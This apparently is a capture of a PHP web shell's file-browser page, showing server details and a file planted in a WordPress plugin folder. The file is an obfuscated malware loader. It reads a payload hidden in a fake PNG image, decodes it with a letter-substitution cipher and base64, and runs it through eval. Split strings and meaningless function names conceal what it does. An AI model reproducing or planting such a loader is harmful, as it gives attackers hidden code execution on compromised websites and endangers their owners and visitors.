HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web78 (5081)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web78/web/wp-content/plugins/achiluchak/achaqel.txt
<?php

function ubatac_shyvythe($iwatyx_upytytire) {
    if ($iwatyx_upytytire == 1)
        return yxyzam_echorifefo();
    if ($iwatyx_upytytire == 2)
        return bilywy_zufacushij();
}

function elazuz_chazhupahax($iwatyx_upytytire) {
    $ogywap = ubatac_shyvythe(1);
    $efyxuch = ubatac_shyvythe(2);
    for ($uhakod = 0; $uhakod < strlen($ogywap); $uhakod++) {
        $otakyx = substr($ogywap, $uhakod, 1);
        $ipazhiz = substr($efyxuch, $uhakod, 1);
        $avopich[$otakyx] = $ipazhiz;
    }

    $usinaz = strtr($iwatyx_upytytire, $avopich);
    $usinaz = base64_decode($usinaz);

    return $usinaz;
}

function riraje_zothagec($iwatyx_upytytire) {
    $ykijyny = array();
    if (!file_exists($iwatyx_upytytire))
        return false;
    $ugodij = @file_get_contents($iwatyx_upytytire);
    if (!$ugodij)
        return false;
    $ugodij = substr($ugodij, 3);
    $ykijyny = elazuz_chazhupahax($ugodij);
    return $ykijyny;
}

function yxyzam_echorifefo() {
    $ugodij = "fpoG1YgxctwzEmuRMOHb+/A3aW9CrI0QvlKV5SNJn7PFL4eUXZhqy86sik=B2DjdT";
    return $ugodij;
}

function bilywy_zufacushij() {
    $ykijyny = "FutPbKnd+JLip=XyNRjk0zvsel9DhU16QCG8ao/Y5mIEH2VAWwfxT7ScM3qBr4gZO";
    return $ykijyny;
}

$nexuji = riraje_zothagec(__DIR__ . "/ass" . "ets/im" . "ages/" . "igufe" . "v.png");
if ($nexuji) {
    @eval($nexuji);
}